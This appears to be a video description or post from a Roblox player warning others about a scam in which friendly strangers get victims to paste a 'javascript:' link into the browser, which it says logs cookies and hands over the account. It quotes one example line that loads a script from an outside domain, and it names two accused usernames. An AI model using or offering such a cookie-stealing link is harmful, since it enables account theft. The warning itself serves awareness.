basically, there's a type of hacking going around roblox currently who's using javascripts to hack people. this video is showcasing the second time someone has attempted to do this to me. as you can see once i expose him he immediately unfriends me.
at first they'll try and get friendly with you either by saying that you've played a game together once or twice and then eventually it'll work up to them sending you a youtube link or the javascript link.
the javascript would look something like this: xjavascript:$.get('//rbx-api.com/modelavatar.js'). again-- do not ever run these in your url/browser. it'll cookie log you and basically give them full access to your account.
here's some more info on it: / psa_do_not_run_javascripts_in_your_browser
the people's roblox usernames that have tried to do this to me so far are taqhaa and hoopsyy. i've reported them and nothing has happened yet. only posting this because i know that when i was younger i definitely would've fallen for this unfortunately-- just trying to spread awareness.
stay safe everyone.